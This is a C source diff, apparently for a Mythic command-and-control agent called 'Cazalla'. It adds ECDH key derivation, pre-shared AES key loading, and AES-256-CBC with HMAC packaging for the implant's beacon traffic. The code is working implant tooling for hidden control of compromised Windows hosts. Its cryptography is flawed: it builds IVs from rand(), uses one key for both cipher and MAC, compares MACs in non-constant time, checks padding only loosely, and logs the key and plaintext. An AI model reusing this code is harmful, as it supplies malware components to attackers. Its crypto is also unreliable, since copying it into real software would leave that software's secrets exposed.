if (!base64_decode(peer_pub_b64, &raw, &rawlen)) return FALSE;
|
||||
if (!raw || rawlen < 1) { if (raw) LocalFree(raw); return FALSE; }
|
||||
if (raw[0] != 0x04) { LocalFree(raw); return FALSE; } // expect uncompressed point
|
||||
|
||||
// Convert raw to BCRYPT_ECCPUBLIC_BLOB layout for import: dwMagic, cbKey, X, Y
|
||||
DWORD cbKey = (DWORD)((rawlen - 1) / 2);
|
||||
DWORD blobLen = sizeof(DWORD)*2 + cbKey*2;
|
||||
PBYTE blob = (PBYTE)LocalAlloc(LPTR, blobLen);
|
||||
if (!blob) { LocalFree(raw); return FALSE; }
|
||||
|
||||
// dwMagic: use BCRYPT_ECDH_PUBLIC_P256_MAGIC
|
||||
DWORD *pmagic = (DWORD*)blob;
|
||||
*pmagic = BCRYPT_ECDH_PUBLIC_P256_MAGIC;
|
||||
DWORD *pcb = (DWORD*)(blob + sizeof(DWORD));
|
||||
*pcb = cbKey;
|
||||
memcpy(blob + sizeof(DWORD)*2, raw + 1, cbKey); // X
|
||||
memcpy(blob + sizeof(DWORD)*2 + cbKey, raw + 1 + cbKey, cbKey); // Y
|
||||
|
||||
// Import as a public key
|
||||
BCRYPT_KEY_HANDLE pubKey = NULL;
|
||||
NTSTATUS status = BCryptImportKeyPair(g_algECDH, NULL, BCRYPT_ECCPUBLIC_BLOB, &pubKey, blob, blobLen, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) {
|
||||
LocalFree(blob); LocalFree(raw);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Derive secret via BCryptSecretAgreement + BCryptDeriveKey
|
||||
BCRYPT_SECRET_HANDLE secret = NULL;
|
||||
status = BCryptSecretAgreement(g_currentKey, pubKey, &secret, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) {
|
||||
BCryptDestroyKey(pubKey);
|
||||
LocalFree(blob); LocalFree(raw);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Derive raw secret bytes using KDF: use BCryptDeriveKey with NULL mapping to get raw secret?
|
||||
// Simpler: use BCryptDeriveKey with algorithm AES and use derived key bytes via KDF_SP800_56a_Counter (Windows default)
|
||||
// We'll use BCryptDeriveKey with AES to obtain a 256-bit key directly into our g_aesKey.
|
||||
BCRYPT_ALG_HANDLE aesAlg = NULL;
|
||||
status = BCryptOpenAlgorithmProvider(&aesAlg, BCRYPT_AES_ALGORITHM, MS_PRIMITIVE_PROVIDER, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) {
|
||||
BCryptDestroySecret(secret);
|
||||
BCryptDestroyKey(pubKey);
|
||||
LocalFree(blob); LocalFree(raw);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Prepare KDF parameters: we'll request raw key material of length AES_KEY_SIZE
|
||||
DWORD derivedKeyLen = AES_KEY_SIZE;
|
||||
PBYTE derivedKey = (PBYTE)LocalAlloc(LPTR, derivedKeyLen);
|
||||
if (!derivedKey) {
|
||||
BCryptCloseAlgorithmProvider(aesAlg,0);
|
||||
BCryptDestroySecret(secret);
|
||||
BCryptDestroyKey(pubKey);
|
||||
LocalFree(blob); LocalFree(raw);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = BCryptDeriveKey(secret, NULL, NULL, derivedKey, derivedKeyLen, &derivedKeyLen, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) {
|
||||
LocalFree(derivedKey);
|
||||
BCryptCloseAlgorithmProvider(aesAlg,0);
|
||||
BCryptDestroySecret(secret);
|
||||
BCryptDestroyKey(pubKey);
|
||||
LocalFree(blob); LocalFree(raw);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Set g_aesKey to derivedKey
|
||||
memcpy(g_aesKey, derivedKey, AES_KEY_SIZE);
|
||||
g_aesKeySet = 1;
|
||||
|
||||
// cleanup
|
||||
secure_zero(derivedKey, derivedKeyLen);
|
||||
LocalFree(derivedKey);
|
||||
BCryptCloseAlgorithmProvider(aesAlg,0);
|
||||
BCryptDestroySecret(secret);
|
||||
BCryptDestroyKey(pubKey);
|
||||
LocalFree(blob);
|
||||
LocalFree(raw);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Initialize AESPSK key from base64 string (Mythic format)
|
||||
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
||||
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
|
||||
printf("[CRYPTO] No AESPSK key provided\n");
|
||||
g_encryptionEnabled = 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Base64 decode the key
|
||||
PBYTE decoded = NULL;
|
||||
SIZE_T decoded_len = 0;
|
||||
|
||||
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
|
||||
printf("[CRYPTO] Failed to decode AESPSK key\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (decoded_len != AES_KEY_SIZE) {
|
||||
printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE);
|
||||
if (decoded) LocalFree(decoded);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
memcpy(g_aesKey, decoded, AES_KEY_SIZE);
|
||||
g_aesKeySet = 1;
|
||||
g_encryptionEnabled = 1;
|
||||
|
||||
if (decoded) LocalFree(decoded);
|
||||
|
||||
printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if encryption is enabled
|
||||
BOOL crypto_is_encryption_enabled(void) {
|
||||
return g_encryptionEnabled && g_aesKeySet;
|
||||
}
|
||||
|
||||
// AES encrypt package for Mythic (based on Xenon implementation)
|
||||
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
|
||||
BOOL CryptoMythicEncryptPackage(void* package) {
|
||||
PPaquete pkg = (PPaquete)package;
|
||||
printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n");
|
||||
|
||||
if (!pkg || !pkg->buffer || pkg->length == 0) {
|
||||
printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n",
|
||||
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length);
|
||||
|
||||
if (!g_aesKeySet) {
|
||||
printf("[CRYPTO] ERROR: AES key not set\n");
|
||||
return FALSE;
|
||||
}
|
||||
printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE);
|
||||
|
||||
// Generate random IV
|
||||
BYTE iv[IVSIZE];
|
||||
printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE);
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
iv[i] = (BYTE)(rand() % 0xFF);
|
||||
}
|
||||
printf("[CRYPTO] IV generated (hex): ");
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
printf("%02x ", iv[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Calculate padding needed
|
||||
SIZE_T datalen = pkg->length;
|
||||
SIZE_T padding_needed = (AES_BLOCKLEN - (datalen % AES_BLOCKLEN)) % AES_BLOCKLEN;
|
||||
if (padding_needed == 0) {
|
||||
padding_needed = AES_BLOCKLEN;
|
||||
}
|
||||
printf("[CRYPTO] Data length: %zu bytes\n", datalen);
|
||||
printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN);
|
||||
|
||||
// Add padding
|
||||
printf("[CRYPTO] Adding PKCS7 padding...\n");
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
printf("[CRYPTO] ERROR: Failed to add padding\n");
|
||||
return FALSE;
|
||||
}
|
||||
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
|
||||
SIZE_T padded_len = pkg->length + padding_needed;
|
||||
pkg->length = padded_len;
|
||||
printf("[CRYPTO] After padding: %zu bytes\n", padded_len);
|
||||
|
||||
// Encrypt with AES-256-CBC
|
||||
printf("[CRYPTO] Initializing AES context with IV...\n");
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||
printf("[CRYPTO] Encrypting with AES-256-CBC...\n");
|
||||
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
|
||||
printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len);
|
||||
|
||||
// Prepend IV before the encrypted data
|
||||
printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE);
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
printf("[CRYPTO] ERROR: Failed to prepend IV\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
|
||||
memcpy(pkg->buffer, iv, IVSIZE);
|
||||
pkg->length += IVSIZE;
|
||||
printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n",
|
||||
pkg->length, IVSIZE, padded_len);
|
||||
|
||||
// Calculate HMAC (IV + Ciphertext)
|
||||
printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n");
|
||||
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||
SIZE_T hmac_size = SHA256_HASH_SIZE;
|
||||
|
||||
printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length);
|
||||
hmac_sha256(
|
||||
g_aesKey, AES_KEY_SIZE,
|
||||
pkg->buffer, pkg->length,
|
||||
hmac, hmac_size
|
||||
);
|
||||
|
||||
printf("[CRYPTO] HMAC calculated (hex): ");
|
||||
for (size_t i = 0; i < hmac_size; i++) {
|
||||
printf("%02x ", hmac[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Append HMAC
|
||||
printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE);
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
free(hmac);
|
||||
printf("[CRYPTO] ERROR: Failed to append HMAC\n");
|
||||
return FALSE;
|
||||
}
|
||||
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
|
||||
pkg->length += SHA256_HASH_SIZE;
|
||||
|
||||
free(hmac);
|
||||
printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n");
|
||||
printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length);
|
||||
printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len);
|
||||
fflush(stdout);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// AES decrypt parser for Mythic (based on Xenon implementation)
|
||||
BOOL CryptoMythicDecryptParser(void* analizador) {
|
||||
PAnalizador parser = (PAnalizador)analizador;
|
||||
printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n");
|
||||
|
||||
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
|
||||
printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n",
|
||||
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
|
||||
printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano);
|
||||
|
||||
// Log first bytes of encrypted data
|
||||
printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||
printf("%02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
if (!g_aesKeySet) {
|
||||
printf("[CRYPTO] ERROR: AES key not set\n");
|
||||
return FALSE;
|
||||
}
|
||||
printf("[CRYPTO] AES key is set\n");
|
||||
|
||||
// Extract HMAC from end
|
||||
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
|
||||
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
|
||||
|
||||
printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n");
|
||||
printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano);
|
||||
printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE);
|
||||
printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length);
|
||||
printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length);
|
||||
|
||||
// Extract and log IV
|
||||
BYTE *iv = parser->buffer;
|
||||
printf("[CRYPTO] IV (first 16 bytes, hex): ");
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
printf("%02x ", iv[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Log HMAC provided
|
||||
printf("[CRYPTO] HMAC provided (last 32 bytes, hex): ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
printf("%02x ", hmac_provided[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Verify HMAC
|
||||
printf("[CRYPTO] === VERIFYING HMAC ===\n");
|
||||
printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length);
|
||||
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||
if (!hmac_calculated) {
|
||||
printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hmac_sha256(
|
||||
g_aesKey, AES_KEY_SIZE,
|
||||
parser->buffer, IVSIZE + encrypted_data_length,
|
||||
hmac_calculated, SHA256_HASH_SIZE
|
||||
);
|
||||
|
||||
printf("[CRYPTO] HMAC calculated (hex): ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
printf("%02x ", hmac_calculated[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
|
||||
printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n");
|
||||
printf("[CRYPTO] Provided HMAC: ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
printf("%02x ", hmac_provided[i]);
|
||||
}
|
||||
printf("\n[CRYPTO] Calculated HMAC: ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
printf("%02x ", hmac_calculated[i]);
|
||||
}
|
||||
printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): ");
|
||||
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
|
||||
printf("%02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 16 == 0) printf("\n[CRYPTO] ");
|
||||
}
|
||||
printf("\n");
|
||||
free(hmac_calculated);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[CRYPTO] HMAC verification SUCCESS\n");
|
||||
|
||||
free(hmac_calculated);
|
||||
|
||||
// Decrypt
|
||||
printf("[CRYPTO] === DECRYPTING ===\n");
|
||||
printf("[CRYPTO] Initializing AES context with IV...\n");
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||
printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length);
|
||||
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
|
||||
printf("[CRYPTO] Decryption complete\n");
|
||||
|
||||
// Log decrypted data before unpadding
|
||||
printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
|
||||
printf("%02x ", parser->buffer[IVSIZE + i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Remove padding
|
||||
printf("[CRYPTO] === REMOVING PADDING ===\n");
|
||||
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
|
||||
printf("[CRYPTO] Padding length from last byte: %d\n", padding_length);
|
||||
printf("[CRYPTO] Last 16 bytes (should show padding): ");
|
||||
size_t padding_start = IVSIZE + encrypted_data_length - 16;
|
||||
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
|
||||
printf("%02x ", parser->buffer[padding_start + i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
if (padding_length > AES_BLOCKLEN) {
|
||||
printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T unpadded_len = encrypted_data_length - padding_length;
|
||||
|
||||
printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len);
|
||||
|
||||
// Update parser
|
||||
SIZE_T original_size = parser->tamano;
|
||||
printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n");
|
||||
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
|
||||
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
|
||||
parser->tamano = unpadded_len;
|
||||
|
||||
// Log final decrypted data
|
||||
printf("[CRYPTO] === DECRYPTION COMPLETE ===\n");
|
||||
printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n",
|
||||
parser->tamano, original_size);
|
||||
printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||
printf("%02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Log as ASCII if printable
|
||||
if (parser->tamano > 0) {
|
||||
printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]);
|
||||
if (parser->tamano >= 36) {
|
||||
char uuidBuf[37] = {0};
|
||||
memcpy(uuidBuf, parser->buffer, 36);
|
||||
printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano);
|
||||
fflush(stdout);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define AES_KEY_SIZE 32
|
||||
#define AES_IV_SIZE 16
|
||||
#define SHA256_HASH_SIZE 32
|
||||
|
||||
// Initialize AESPSK key from base64 string (called at startup)
|
||||
BOOL crypto_init_aespsk(const char *aespsk_key_b64);
|
||||
|
||||
// Cleanup crypto resources
|
||||
void crypto_cleanup(void);
|
||||
|
||||
// Encrypt a package using AES256-CBC + HMAC (Mythic format)
|
||||
// Format: [IV(16 bytes)][Ciphertext][HMAC(32 bytes)]
|
||||
BOOL CryptoMythicEncryptPackage(void* paquete);
|
||||
|
||||
// Decrypt a parser using AES256-CBC + HMAC (Mythic format)
|
||||
BOOL CryptoMythicDecryptParser(void* analizador);
|
||||
|
||||
// Helper to get encryption status
|
||||
BOOL crypto_is_encryption_enabled(void);
|
||||
@@ -0,0 +1,104 @@
|
||||
/*
|
||||
hmac_sha256.c
|
||||
Originally written by https://github.com/h5p9sl
|
||||
*/
|
||||
|
||||
#include "hmac_sha256.h"
|
||||
#include "sha256.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define SHA256_BLOCK_SIZE 64
|
||||
|
||||
/* LOCAL FUNCTIONS */
|
||||
|
||||
// Concatenate X & Y, return hash.
|
||||
static void* H(const void* x,
|
||||
const size_t xlen,
|
||||
const void* y,
|
||||
const size_t ylen,
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
// Wrapper for sha256
|
||||
static void* sha256(const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
// Declared in hmac_sha256.h
|
||||
size_t hmac_sha256(const void* key,
|
||||
const size_t keylen,
|
||||
const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
uint8_t k[SHA256_BLOCK_SIZE];
|
||||
uint8_t k_ipad[SHA256_BLOCK_SIZE];
|
||||
uint8_t k_opad[SHA256_BLOCK_SIZE];
|
||||
uint8_t ihash[SHA256_HASH_SIZE];
|
||||
uint8_t ohash[SHA256_HASH_SIZE];
|
||||
size_t sz;
|
||||
int i;
|
||||
|
||||
memset(k, 0, sizeof(k));
|
||||
memset(k_ipad, 0x36, SHA256_BLOCK_SIZE);
|
||||
memset(k_opad, 0x5c, SHA256_BLOCK_SIZE);
|
||||
|
||||
if (keylen > SHA256_BLOCK_SIZE) {
|
||||
// If the key is larger than the hash algorithm's
|
||||
// block size, we must digest it first.
|
||||
sha256(key, keylen, k, sizeof(k));
|
||||
} else {
|
||||
memcpy(k, key, keylen);
|
||||
}
|
||||
|
||||
for (i = 0; i < SHA256_BLOCK_SIZE; i++) {
|
||||
k_ipad[i] ^= k[i];
|
||||
k_opad[i] ^= k[i];
|
||||
}
|
||||
|
||||
// Perform HMAC algorithm: ( https://tools.ietf.org/html/rfc2104 )
|
||||
// `H(K XOR opad, H(K XOR ipad, data))`
|
||||
H(k_ipad, sizeof(k_ipad), data, datalen, ihash, sizeof(ihash));
|
||||
H(k_opad, sizeof(k_opad), ihash, sizeof(ihash), ohash, sizeof(ohash));
|
||||
|
||||
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
|
||||
memcpy(out, ohash, sz);
|
||||
return sz;
|
||||
}
|
||||
|
||||
static void* H(const void* x,
|
||||
const size_t xlen,
|
||||
const void* y,
|
||||
const size_t ylen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
void* result;
|
||||
size_t buflen = (xlen + ylen);
|
||||
uint8_t* buf = (uint8_t*)malloc(buflen);
|
||||
|
||||
memcpy(buf, x, xlen);
|
||||
memcpy(buf + xlen, y, ylen);
|
||||
result = sha256(buf, buflen, out, outlen);
|
||||
|
||||
free(buf);
|
||||
return result;
|
||||
}
|
||||
|
||||
static void* sha256(const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
size_t sz;
|
||||
Sha256Context ctx;
|
||||
SHA256_HASH hash;
|
||||
|
||||
Sha256Initialise(&ctx);
|
||||
Sha256Update(&ctx, data, datalen);
|
||||
Sha256Finalise(&ctx, &hash);
|
||||
|
||||
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
|
||||
return memcpy(out, hash.bytes, sz);
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
/*
|
||||
hmac_sha256.h
|
||||
Originally written by https://github.com/h5p9sl
|
||||
*/
|
||||
|
||||
#ifndef _HMAC_SHA256_H_
|
||||
#define _HMAC_SHA256_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
size_t // Returns the number of bytes written to `out`
|
||||
hmac_sha256(
|
||||
// [in]: The key and its length.
|
||||
// Should be at least 32 bytes long for optimal security.
|
||||
const void* key,
|
||||
const size_t keylen,
|
||||
|
||||
// [in]: The data to hash alongside the key.
|
||||
const void* data,
|
||||
const size_t datalen,
|
||||
|
||||
// [out]: The output hash.
|
||||
// Should be 32 bytes long. If it's less than 32 bytes,
|
||||
// the resulting hash will be truncated to the specified length.
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
#endif // _HMAC_SHA256_H_
|
||||
@@ -4,6 +4,10 @@
|
||||
int main() {
|
||||
printf("=== CAZALLA AGENT STARTING ===\n");
|
||||
fflush(stdout);
|
||||
#ifdef AESPSK
|
||||
printf("AESPSK: %s\n", AESPSK);
|
||||
fflush(stdout);
|
||||
#endif
|
||||
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||
cazallaMain();
|
||||
printf("=== CAZALLA AGENT EXITING ===\n");
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration
|
||||
#include "cazalla.h"
|
||||
#include "paquete.h"
|
||||
#include "socks_manager.h"
|
||||
@@ -102,22 +103,433 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||
// === Handle encryption according to Mythic format ===
|
||||
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
|
||||
// Format without encryption: Base64(full_packet)
|
||||
PBYTE datosAEnviar = NULL;
|
||||
SIZE_T tamanoAEnviar = 0;
|
||||
|
||||
if (crypto_is_encryption_enabled()) {
|
||||
printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n");
|
||||
|
||||
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
|
||||
// Format: [UUID(36)][command_byte][rest...]
|
||||
// When addString is called with tamanoCopia=FALSE, no length prefix is added
|
||||
const SIZE_T UUID_LENGTH = 36;
|
||||
|
||||
if (paquete->length < UUID_LENGTH + 1) {
|
||||
printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n",
|
||||
paquete->length, UUID_LENGTH + 1);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Extract UUID string (first 36 bytes)
|
||||
PCHAR uuidStr = (PCHAR)paquete->buffer;
|
||||
SIZE_T dataOffset = UUID_LENGTH; // After UUID, before/at command byte
|
||||
SIZE_T dataLength = paquete->length - UUID_LENGTH;
|
||||
|
||||
// Log UUID extraction with detailed info
|
||||
char uuidBuf[37] = {0};
|
||||
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
|
||||
printf("[PAQUETE] === EXTRACTING UUID ===\n");
|
||||
printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length);
|
||||
printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH);
|
||||
printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset);
|
||||
printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength);
|
||||
|
||||
// Log raw packet structure
|
||||
printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): ");
|
||||
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
|
||||
printf("%02x ", ((PBYTE)paquete->buffer)[i]);
|
||||
if ((i + 1) % 16 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Create a temporary package with only the data part (without UUID)
|
||||
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!dataPackage) {
|
||||
printf("[PAQUETE] ERROR: Failed to allocate data package\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
|
||||
if (!dataPackage->buffer) {
|
||||
LocalFree(dataPackage);
|
||||
printf("[PAQUETE] ERROR: Failed to allocate data buffer\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
|
||||
dataPackage->length = dataLength;
|
||||
|
||||
// Log data to encrypt
|
||||
printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n");
|
||||
printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length);
|
||||
printf("[PAQUETE] Data preview (hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
|
||||
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n",
|
||||
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
|
||||
fflush(stdout);
|
||||
|
||||
// Encrypt only the data part (without UUID)
|
||||
printf("[PAQUETE] === STARTING ENCRYPTION ===\n");
|
||||
printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length);
|
||||
fflush(stdout);
|
||||
|
||||
if (!CryptoMythicEncryptPackage(dataPackage)) {
|
||||
printf("[PAQUETE] ERROR: Falló el cifrado\n");
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n");
|
||||
printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n",
|
||||
dataPackage->length, dataLength);
|
